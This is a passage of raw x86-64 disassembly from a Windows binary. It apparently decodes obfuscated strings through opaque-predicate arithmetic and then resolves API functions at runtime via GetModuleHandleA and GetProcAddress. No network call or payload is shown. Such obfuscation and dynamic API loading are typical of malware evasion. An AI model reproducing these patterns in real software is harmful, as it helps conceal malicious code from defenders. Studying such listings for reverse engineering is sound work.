mov dword [rbp - 0x78], eax
movsxd rax, dword [rsp + 0x30]
movzx r8d, byte [rax + r10 + 1]
and r8b, byte [rbp - 0x78]
add r8b, r8b
movsxd rax, dword [rsp + 0x30]
movzx edx, byte [rax + r10 + 1]
sub dl, r8b
add dl, byte [rbp - 0x7c]
movsxd rax, dword [rsp + 0x30]
mov byte [rax + r10 + 1], dl
movsx eax, byte [0x140017004]
add eax, esi
lea eax, [rax + r9*2]
movsx ecx, byte [0x140017003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
cmp eax, ecx
je 0x1400087ac
mov eax, dword [rsp + 0x30]
sub eax, 0x5e
movd xmm2, eax
cvtdq2pd xmm2, xmm2
movsx eax, byte [0x140017002]
movd xmm1, eax
cvtdq2pd xmm1, xmm1
movsx eax, byte [0x140017001]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm2
movsd qword [rsp + 0x38], xmm1
movsx eax, byte [0x140017004]
add eax, r15d
movsx ecx, byte [0x140017003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
cmp eax, ecx
je 0x140008645
movsx ecx, byte [0x140017340]
imul ecx, r11d
lea edx, [rcx + rcx*2]
sub edx, ebx
add edx, edi
movsx ecx, byte [0x140017001]
add ecx, edx
je 0x140008645
mov dword [rsp + 0x68], r14d
jmp 0x1400086a1
lea eax, [r9 + r9*4]
lea r12d, [rsi + rax*2]
movsx eax, byte [0x140017004]
add eax, r12d
movsx ecx, byte [0x140017003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
cmp eax, ecx
je 0x1400086a1
movsx eax, byte [0x140017004]
add eax, r12d
movsx ecx, byte [0x140017003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
sub eax, ecx
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x38]
cvttsd2si eax, xmm0
mov dword [rsp + 0x68], eax
mov eax, dword [rsp + 0x30]
sub eax, 0x5e
movd xmm2, eax
cvtdq2pd xmm2, xmm2
movsx eax, byte [0x140017002]
movd xmm1, eax
cvtdq2pd xmm1, xmm1
movsx eax, byte [0x140017001]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm2
movsd qword [rsp + 0x38], xmm1
movsx eax, byte [0x140017004]
add eax, r15d
movsx ecx, byte [0x140017003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
cmp eax, ecx
je 0x140008723
movsx ecx, byte [0x140017340]
imul ecx, r11d
lea edx, [rcx + rcx*2]
sub edx, ebx
add edx, edi
movsx ecx, byte [0x140017001]
add ecx, edx
je 0x140008723
mov dword [rbp - 0x80], r14d
jmp 0x14000877e
lea eax, [r9 + r9*4]
lea r12d, [rsi + rax*2]
movsx eax, byte [0x140017004]
add eax, r12d
movsx ecx, byte [0x140017003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
cmp eax, ecx
je 0x14000877e
movsx eax, byte [0x140017004]
add eax, r12d
movsx ecx, byte [0x140017003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
sub eax, ecx
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x38]
cvttsd2si eax, xmm0
mov dword [rbp - 0x80], eax
movsxd rax, dword [rsp + 0x30]
movzx r8d, byte [rax + r10 + 1]
and r8b, byte [rbp - 0x80]
add r8b, r8b
movsxd rax, dword [rsp + 0x30]
movzx edx, byte [rax + r10 + 1]
sub dl, r8b
add dl, byte [rsp + 0x68]
movsxd rax, dword [rsp + 0x30]
mov byte [rax + r10 + 1], dl
movsx edx, byte [0x140017340]
imul edx, r11d
shl edx, 3
sub edx, ebx
add edx, edi
movsx ecx, byte [0x140017001]
add ecx, edx
je 0x14000899c
movsx eax, byte [0x140017002]
movd xmm1, eax
cvtdq2pd xmm1, xmm1
movsx eax, byte [0x140017001]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm6
movsd qword [rsp + 0x38], xmm1
movsx eax, byte [0x140017004]
add eax, r15d
movsx ecx, byte [0x140017003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
cmp eax, ecx
je 0x140008841
movsx ecx, byte [0x140017340]
imul ecx, r11d
lea edx, [rcx + rcx*2]
sub edx, ebx
add edx, edi
movsx ecx, byte [0x140017001]
add ecx, edx
je 0x140008841
mov dword [rsp + 0x60], r14d
jmp 0x14000889d
lea eax, [r9 + r9*4]
lea r12d, [rsi + rax*2]
movsx eax, byte [0x140017004]
add eax, r12d
movsx ecx, byte [0x140017003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
cmp eax, ecx
je 0x14000889d
movsx eax, byte [0x140017004]
add eax, r12d
movsx ecx, byte [0x140017003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
sub eax, ecx
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x38]
cvttsd2si eax, xmm0
mov dword [rsp + 0x60], eax
movsx eax, byte [0x140017002]
movd xmm1, eax
cvtdq2pd xmm1, xmm1
movsx eax, byte [0x140017001]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm6
movsd qword [rsp + 0x38], xmm1
movsx eax, byte [0x140017004]
add eax, r15d
movsx ecx, byte [0x140017003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
cmp eax, ecx
je 0x140008911
movsx ecx, byte [0x140017340]
imul ecx, r11d
lea edx, [rcx + rcx*2]
sub edx, ebx
add edx, edi
movsx ecx, byte [0x140017001]
add ecx, edx
je 0x140008911
mov dword [rsp + 0x64], r14d
jmp 0x14000896d
lea eax, [r9 + r9*4]
lea r12d, [rsi + rax*2]
movsx eax, byte [0x140017004]
add eax, r12d
movsx ecx, byte [0x140017003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
cmp eax, ecx
je 0x14000896d
movsx eax, byte [0x140017004]
add eax, r12d
movsx ecx, byte [0x140017003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
sub eax, ecx
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x38]
cvttsd2si eax, xmm0
mov dword [rsp + 0x64], eax
movsxd rax, dword [rsp + 0x30]
movzx r8d, byte [rax + r10 + 1]
and r8b, byte [rsp + 0x64]
add r8b, r8b
movsxd rax, dword [rsp + 0x30]
movzx edx, byte [rax + r10 + 1]
sub dl, r8b
add dl, byte [rsp + 0x60]
movsxd rax, dword [rsp + 0x30]
mov byte [rax + r10 + 1], dl
mov eax, dword [rsp + 0x30]
inc eax
mov dword [rsp + 0x30], eax
mov eax, dword [rsp + 0x30]
cmp eax, 0xd
jb 0x140007fc0
mov byte [r10], 1
lea rcx, [r10 + 1]
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rdx, qword [rsp + 0x78]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rcx, str.user32.dll
call rax
movd xmm2, eax
cvtdq2pd xmm2, xmm2
movsx eax, byte [0x140017002]
movd xmm1, eax
cvtdq2pd xmm1, xmm1
movsx eax, byte [0x140017001]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm2
movsd qword [rsp + 0x38], xmm1
call fcn.1400042c0
movsx edx, al
call fcn.1400042b0
movsx ecx, al
imul edx, ecx
call fcn.1400042f0
movsx ecx, al
lea eax, [rcx + rdx*4]
movsx ecx, byte [0x140017004]
add eax, ecx
movsx ecx, byte [0x140017003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
cmp eax, ecx
je 0x140008a8a
call fcn.1400042d0
movsx edx, al
movsx eax, byte [0x140017340]
imul edx, eax
lea r8d, [rdx + rdx*2]
call fcn.140004300
movsx ecx, al
sub r8d, ecx
call fcn.1400042e0
movsx ecx, al
add r8d, ecx
movsx ecx, byte [0x140017001]
add ecx, r8d
je 0x140008a8a
mov r9d, r14d
jmp 0x140008b04
call fcn.1400042c0
movsx edx, al
call fcn.1400042b0
movsx ecx, al
imul edx, ecx
lea edx, [rdx + rdx*4]
call fcn.1400042f0
movsx ecx, al
lea r9d, [rcx + rdx*2]
movsx eax, byte [0x140017004]
add eax, r9d
movsx ecx, byte [0x140017003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
cmp eax, ecx
je 0x140008aff
movsx eax, byte [0x140017004]
add eax, r9d
movsx ecx, byte [0x140017003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
sub eax, ecx
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x38]
cvttsd2si r9d, xmm0
jmp 0x140008b04
mov r9d, dword [rsp + 0x78]
call fcn.1400042c0
movsx edx, al
call fcn.1400042b0
movsx ecx, al
imul edx, ecx
lea edx, [rdx + rdx*4]
call fcn.1400042f0
movsx ecx, al
lea ebx, [rcx + rdx*2]
movsx eax, byte [0x140017004]
add eax, ebx
movsx ecx, byte [0x140017003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
sub eax, ecx
imul eax, r9d
test eax, eax
je 0x14000a232
mov byte [rbp - 0x4e], 0
lea rdx, [rbp + 0x58]
lea rcx, [rbp - 0x4e]
call fcn.140003960
mov r9, rax
movsd xmm4, qword [0x140011a68]
movsd xmm5, qword [0x140011a60]
movsd xmm6, qword [0x140011a58]
xor edi, edi
cmp byte [rax], dil
jne 0x1400095ad
mov dword [rsp + 0x30], edi
mov ecx, dword [rsp + 0x30]
call fcn.1400042b0
movsx edx, al
call fcn.1400042c0
movsx ecx, al
imul edx, ecx
imul edx, edx, 7
call fcn.1400042f0
movsx eax, al
add eax, edx
mov dword [rbp - 0x68], eax
call fcn.1400042b0
movsx edx, al
call fcn.1400042c0
movsx ecx, al
imul edx, ecx
call fcn.1400042f0
movsx ecx, al
lea esi, [rcx + rdx*4]
call fcn.1400042d0
movsx r10d, al
call fcn.140004300
movsx r11d, al
call fcn.1400042e0
movsx edi, al
call fcn.1400042b0
movsx edx, al
call fcn.1400042c0
movsx ecx, al
imul edx, ecx
mov dword [rbp - 0x3c], edx
call fcn.1400042f0
movsx eax, al
mov dword [rbp - 0x38], eax
movsd xmm3, qword [0x140011a50]
mov r15d, dword [rsp + 0x78]
mov r12d, dword [rsp + 0x78]
mov r13d, dword [rsp + 0x78]
movsx edx, byte [0x140017340]
imul edx, r10d
sub edx, r11d
add edx, edi
movsx ecx, byte [0x140017001]
add ecx, edx
je 0x140008ded
movsx eax, byte [0x140017002]
movd xmm1, eax
cvtdq2pd xmm1, xmm1
movsx eax, byte [0x140017001]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm4
movsd qword [rsp + 0x38], xmm1
movsx eax, byte [0x140017004]
add eax, esi
movsx ecx, byte [0x140017003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
cmp eax, ecx
je 0x140008cb1
movsx ecx, byte [0x140017340]
imul ecx, r10d
lea edx, [rcx + rcx*2]
sub edx, r11d
add edx, edi
movsx ecx, byte [0x140017001]
add ecx, edx
je 0x140008cb1
mov r15d, r14d
jmp 0x140008d00
movsx eax, byte [0x140017004]
add eax, ebx
movsx ecx, byte [0x140017003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
cmp eax, ecx
je 0x140008d00
movsx eax, byte [0x140017004]
add eax, ebx
movsx ecx, byte [0x140017003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
sub eax, ecx
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x38]
cvttsd2si r15d, xmm0
movsx eax, byte [0x140017002]
movd xmm1, eax
cvtdq2pd xmm1, xmm1
movsx eax, byte [0x140017001]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm4
movsd qword [rsp + 0x38], xmm1
movsx eax, byte [0x140017004]
add eax, esi
movsx ecx, byte [0x140017003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
cmp eax, ecx
je 0x140008d72
movsx ecx, byte [0x140017340]
imul ecx, r10d
lea edx, [rcx + rcx*2]
sub edx, r11d
add edx, edi
movsx ecx, byte [0x140017001]
add ecx, edx
je 0x140008d72
mov r12d, r14d
jmp 0x140008dc1
movsx eax, byte [0x140017004]
add eax, ebx
movsx ecx, byte [0x140017003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
cmp eax, ecx
je 0x140008dc1
movsx eax, byte [0x140017004]
add eax, ebx
movsx ecx, byte [0x140017003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
sub eax, ecx
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x38]
cvttsd2si r12d, xmm0
movsxd rax, dword [rsp + 0x30]
movzx r8d, byte [rax + r9 + 1]
and r8b, r12b
add r8b, r8b
movsxd rax, dword [rsp + 0x30]
movzx edx, byte [rax + r9 + 1]
sub dl, r8b
add dl, r15b
movsxd rax, dword [rsp + 0x30]
mov byte [rax + r9 + 1], dl
movsx eax, byte [0x140017004]
add eax, dword [rbp - 0x68]
movsx ecx, byte [0x140017003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
cmp eax, ecx
je 0x1400093ba
movsx ecx, byte [0x140017340]
imul ecx, r10d
lea edx, [rcx + rcx*2]
add edx, edx
sub edx, r11d
add edx, edi
movsx ecx, byte [0x140017001]
add ecx, edx
je 0x140008fe7
movsx eax, byte [0x140017002]
movd xmm1, eax
cvtdq2pd xmm1, xmm1
movsx eax, byte [0x140017001]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm5
movsd qword [rsp + 0x38], xmm1
movsx eax, byte [0x140017004]
add eax, esi
movsx ecx, byte [0x140017003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
cmp eax, ecx
je 0x140008ea7
movsx ecx, byte [0x140017340]
imul ecx, r10d
lea edx, [rcx + rcx*2]
sub edx, r11d
add edx, edi
movsx ecx, byte [0x140017001]
add ecx, edx
je 0x140008ea7
mov r13d, r14d
jmp 0x140008ef6
movsx eax, byte [0x140017004]
add eax, ebx
movsx ecx, byte [0x140017003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
cmp eax, ecx
je 0x140008ef6
movsx eax, byte [0x140017004]
add eax, ebx
movsx ecx, byte [0x140017003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
sub eax, ecx
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x38]
cvttsd2si r13d, xmm0
movsx eax, byte [0x140017002]
movd xmm1, eax
cvtdq2pd xmm1, xmm1
movsx eax, byte [0x140017001]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm5
movsd qword [rsp + 0x38], xmm1
movsx eax, byte [0x140017004]
add eax, esi
movsx ecx, byte [0x140017003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
cmp eax, ecx
je 0x140008f69
movsx ecx, byte [0x140017340]
imul ecx, r10d
lea edx, [rcx + rcx*2]
sub edx, r11d
add edx, edi
movsx ecx, byte [0x140017001]
add ecx, edx
je 0x140008f69
mov dword [rbp - 0x70], r14d
jmp 0x140008fba
movsx eax, byte [0x140017004]
add eax, ebx
movsx ecx, byte [0x140017003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
cmp eax, ecx
je 0x140008fba
movsx eax, byte [0x140017004]
add eax, ebx
movsx ecx, byte [0x140017003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
sub eax, ecx
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x38]
cvttsd2si eax, xmm0
mov dword [rbp - 0x70], eax
movsxd rax, dword [rsp + 0x30]
movzx r8d, byte [rax + r9 + 1]
and r8b, byte [rbp - 0x70]
add r8b, r8b
movsxd rax, dword [rsp + 0x30]
movzx edx, byte [rax + r9 + 1]
sub dl, r8b
add dl, r13b
movsxd rax, dword [rsp + 0x30]
mov byte [rax + r9 + 1], dl
movsx edx, byte [0x140017340]
imul edx, r10d
sub edx, r11d
add edx, edi
movsx ecx, byte [0x140017001]
add ecx, edx
je 0x1400091bb
movsx eax, byte [0x140017002]
movd xmm1, eax
cvtdq2pd xmm1, xmm1
movsx eax, byte [0x140017001]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm6
movsd qword [rsp + 0x38], xmm1
movsx eax, byte [0x140017004]
add eax, esi
movsx ecx, byte [0x140017003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
cmp eax, ecx
je 0x140009079
movsx ecx, byte [0x140017340]
imul ecx, r10d
lea edx, [rcx + rcx*2]
sub edx, r11d
add edx, edi
movsx ecx, byte [0x140017001]
add ecx, edx
je 0x140009079
mov dword [rbp - 0x74], r14d
jmp 0x1400090ca
movsx eax, byte [0x140017004]
add eax, ebx
movsx ecx, byte [0x140017003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
cmp eax, ecx
je 0x1400090ca
movsx eax, byte [0x140017004]
add eax, ebx
movsx ecx, byte [0x140017003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
sub eax, ecx
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x38]
cvttsd2si eax, xmm0
mov dword [rbp - 0x74], eax
movsx eax, byte [0x140017002]
movd xmm1, eax
cvtdq2pd xmm1, xmm1
movsx eax, byte [0x140017001]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm6
movsd qword [rsp + 0x38], xmm1
movsx eax, byte [0x140017004]
add eax, esi
movsx ecx, byte [0x140017003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
cmp eax, ecx
je 0x14000913d
movsx ecx, byte [0x140017340]
imul ecx, r10d
lea edx, [rcx + rcx*2]
sub edx, r11d
add edx, edi
movsx ecx, byte [0x140017001]
add ecx, edx
je 0x14000913d
mov dword [rbp - 0x6c], r14d
jmp 0x14000918e
movsx eax, byte [0x140017004]
add eax, ebx
movsx ecx, byte [0x140017003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
cmp eax, ecx
je 0x14000918e
movsx eax, byte [0x140017004]
add eax, ebx
movsx ecx, byte [0x140017003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
sub eax, ecx
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x38]
cvttsd2si eax, xmm0
mov dword [rbp - 0x6c], eax
movsxd rax, dword [rsp + 0x30]
movzx r8d, byte [rax + r9 + 1]
and r8b, byte [rbp - 0x6c]
add r8b, r8b
movsxd rax, dword [rsp + 0x30]
movzx edx, byte [rax + r9 + 1]
sub dl, r8b
add dl, byte [rbp - 0x74]
movsxd rax, dword [rsp + 0x30]
mov byte [rax + r9 + 1], dl
movsx ecx, byte [0x140017004]
mov eax, dword [rbp - 0x38]
add eax, ecx
mov ecx, dword [rbp - 0x3c]
lea eax, [rax + rcx*2]
movsx ecx, byte [0x140017003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
cmp eax, ecx
je 0x1400093ba
mov eax, dword [rsp + 0x30]
sub eax, 0x58
movd xmm2, eax
cvtdq2pd xmm2, xmm2
movsx eax, byte [0x140017002]
movd xmm1, eax
cvtdq2pd xmm1, xmm1
movsx eax, byte [0x140017001]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm2
movsd qword [rsp + 0x38], xmm1
movsx eax, byte [0x140017004]
add eax, esi
movsx ecx, byte [0x140017003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
cmp eax, ecx
je 0x140009269
movsx ecx, byte [0x140017340]
imul ecx, r10d
lea edx, [rcx + rcx*2]
sub edx, r11d
add edx, edi
movsx ecx, byte [0x140017001]
add ecx, edx
je 0x140009269
mov dword [rbp - 0x7c], r14d
jmp 0x1400092ba
movsx eax, byte [0x140017004]
add eax, ebx
movsx ecx, byte [0x140017003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
cmp eax, ecx
je 0x1400092ba
movsx eax, byte [0x140017004]
add eax, ebx
movsx ecx, byte [0x140017003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
sub eax, ecx
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x38]
cvttsd2si eax, xmm0
mov dword [rbp - 0x7c], eax
mov eax, dword [rsp + 0x30]
sub eax, 0x58
movd xmm2, eax
cvtdq2pd xmm2, xmm2
movsx eax, byte [0x140017002]
movd xmm1, eax
cvtdq2pd xmm1, xmm1
movsx eax, byte [0x140017001]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm2
movsd qword [rsp + 0x38], xmm1
movsx eax, byte [0x140017004]
add eax, esi
movsx ecx, byte [0x140017003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
cmp eax, ecx
je 0x14000933c
movsx ecx, byte [0x140017340]
imul ecx, r10d
lea edx, [rcx + rcx*2]
sub edx, r11d
add edx, edi
movsx ecx, byte [0x140017001]
add ecx, edx
je 0x14000933c
mov dword [rbp - 0x78], r14d
jmp 0x14000938d
movsx eax, byte [0x140017004]
add eax, ebx
movsx ecx, byte [0x140017003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
cmp eax, ecx
je 0x14000938d
movsx eax, byte [0x140017004]
add eax, ebx
movsx ecx, byte [0x140017003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
sub eax, ecx
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x38]
cvttsd2si eax, xmm0
mov dword [rbp - 0x78], eax
movsxd rax, dword [rsp + 0x30]
movzx r8d, byte [rax + r9 + 1]
and r8b, byte [rbp - 0x78]
add r8b, r8b
movsxd rax, dword [rsp + 0x30]
movzx edx, byte [rax + r9 + 1]
sub dl, r8b
add dl, byte [rbp - 0x7c]
movsxd rax, dword [rsp + 0x30]
mov byte [rax + r9 + 1], dl
movsx edx, byte [0x140017340]
imul edx, r10d
shl edx, 3
sub edx, r11d
add edx, edi
movsx ecx, byte [0x140017001]
add ecx, edx
je 0x140009594
movsx eax, byte [0x140017002]
movd xmm1, eax
cvtdq2pd xmm1, xmm1
movsx eax, byte [0x140017001]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm3
movsd qword [rsp + 0x38], xmm1
movsx eax, byte [0x140017004]
add eax, esi
movsx ecx, byte [0x140017003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
cmp eax, ecx
je 0x140009450
movsx ecx, byte [0x140017340]
imul ecx, r10d
lea edx, [rcx + rcx*2]
sub edx, r11d
add edx, edi
movsx ecx, byte [0x140017001]
add ecx, edx
je 0x140009450
mov dword [rsp + 0x68], r14d
jmp 0x1400094a2
movsx eax, byte [0x140017004]
add eax, ebx
movsx ecx, byte [0x140017003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
cmp eax, ecx
je 0x1400094a2
movsx eax, byte [0x140017004]
add eax, ebx
movsx ecx, byte [0x140017003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
sub eax, ecx
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x38]
cvttsd2si eax, xmm0
mov dword [rsp + 0x68], eax
movsx eax, byte [0x140017002]
movd xmm1, eax
cvtdq2pd xmm1, xmm1
movsx eax, byte [0x140017001]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm3
movsd qword [rsp + 0x38], xmm1
movsx eax, byte [0x140017004]
add eax, esi
movsx ecx, byte [0x140017003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
cmp eax, ecx
je 0x140009515
movsx ecx, byte [0x140017340]
imul ecx, r10d
lea edx, [rcx + rcx*2]
sub edx, r11d
add edx, edi
movsx ecx, byte [0x140017001]
add ecx, edx
je 0x140009515
mov dword [rbp - 0x80], r14d
jmp 0x140009566
movsx eax, byte [0x140017004]
add eax, ebx
movsx ecx, byte [0x140017003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
cmp eax, ecx
je 0x140009566
movsx eax, byte [0x140017004]
add eax, ebx
movsx ecx, byte [0x140017003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
sub eax, ecx
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x38]
cvttsd2si eax, xmm0
mov dword [rbp - 0x80], eax
movsxd rax, dword [rsp + 0x30]
movzx r8d, byte [rax + r9 + 1]
and r8b, byte [rbp - 0x80]
add r8b, r8b
movsxd rax, dword [rsp + 0x30]
movzx edx, byte [rax + r9 + 1]
sub dl, r8b
add dl, byte [rsp + 0x68]
movsxd rax, dword [rsp + 0x30]
mov byte [rax + r9 + 1], dl
mov eax, dword [rsp + 0x30]
inc eax
mov dword [rsp + 0x30], eax
mov eax, dword [rsp + 0x30]
cmp eax, 0xc
jb 0x140008c20
xor edi, edi
mov byte [r9], 1
lea rax, [r9 + 1]
mov qword [rsp + 0x78], rax
mov byte [rbp - 0x53], 0
lea rdx, [rbp + 0x48]
lea rcx, [rbp - 0x53]
call fcn.1400037f0
mov r10, rax
cmp byte [rax], 0
jne 0x14000a012
mov dword [rsp + 0x30], edi
mov ecx, dword [rsp + 0x30]
cmp ecx, 0xb
jae 0x14000a012
call fcn.1400042b0
movsx edx, al
call fcn.1400042c0
movsx ecx, al
imul edx, ecx
imul edx, edx, 7
call fcn.1400042f0
movsx eax, al
add eax, edx
mov dword [rbp - 0x68], eax
call fcn.1400042b0
movsx edx, al
call fcn.1400042c0
movsx ecx, al
imul edx, ecx
call fcn.1400042f0
movsx ecx, al
lea esi, [rcx + rdx*4]
call fcn.1400042d0
movsx r11d, al
call fcn.140004300
movsx ebx, al
call fcn.1400042e0
movsx edi, al
call fcn.1400042b0
movsx edx, al
call fcn.1400042c0
movsx ecx, al
imul edx, ecx
mov dword [rbp - 0x3c], edx
call fcn.1400042f0
movsx ecx, al
mov dword [rbp - 0x38], ecx
lea eax, [rdx + rdx*4]
lea r9d, [rcx + rax*2]
movsd xmm3, qword [0x140011a70]
mov r15d, dword [rsp + 0x78]
mov r12d, dword [rsp + 0x78]
mov r13d, dword [rsp + 0x78]
movsx edx, byte [0x140017340]
imul edx, r11d
sub edx, ebx
add edx, edi
movsx ecx, byte [0x140017001]
add ecx, edx
je 0x14000984f
movsx eax, byte [0x140017002]
movd xmm1, eax
cvtdq2pd xmm1, xmm1
movsx eax, byte [0x140017001]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm3
movsd qword [rsp + 0x38], xmm1
movsx eax, byte [0x140017004]
add eax, esi
movsx ecx, byte [0x140017003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
cmp eax, ecx
je 0x140009710
movsx ecx, byte [0x140017340]
imul ecx, r11d
lea edx, [rcx + rcx*2]
sub edx, ebx
add edx, edi
movsx ecx, byte [0x140017001]
add ecx, edx
je 0x140009710
mov r15d, r14d
jmp 0x140009761
movsx eax, byte [0x140017004]
add eax, r9d
movsx ecx, byte [0x140017003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
cmp eax, ecx
je 0x140009761
movsx eax, byte [0x140017004]
add eax, r9d
movsx ecx, byte [0x140017003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
sub eax, ecx
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x38]
cvttsd2si r15d, xmm0
movsx eax, byte [0x140017002]
movd xmm1, eax
cvtdq2pd xmm1, xmm1
movsx eax, byte [0x140017001]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm3
movsd qword [rsp + 0x38], xmm1
movsx eax, byte [0x140017004]
add eax, esi
movsx ecx, byte [0x140017003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
cmp eax, ecx
je 0x1400097d2
movsx ecx, byte [0x140017340]
imul ecx, r11d
lea edx, [rcx + rcx*2]
sub edx, ebx
add edx, edi
movsx ecx, byte [0x140017001]
add ecx, edx
je 0x1400097d2
mov r12d, r14d
jmp 0x140009823
movsx eax, byte [0x140017004]
add eax, r9d
movsx ecx, byte [0x140017003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
cmp eax, ecx
je 0x140009823
movsx eax, byte [0x140017004]
add eax, r9d
movsx ecx, byte [0x140017003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
sub eax, ecx
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x38]
cvttsd2si r12d, xmm0
movsxd rax, dword [rsp + 0x30]
movzx r8d, byte [rax + r10 + 1]
and r8b, r12b
add r8b, r8b
movsxd rax, dword [rsp + 0x30]
movzx edx, byte [rax + r10 + 1]
sub dl, r8b
add dl, r15b
movsxd rax, dword [rsp + 0x30]
mov byte [rax + r10 + 1], dl
movsx eax, byte [0x140017004]
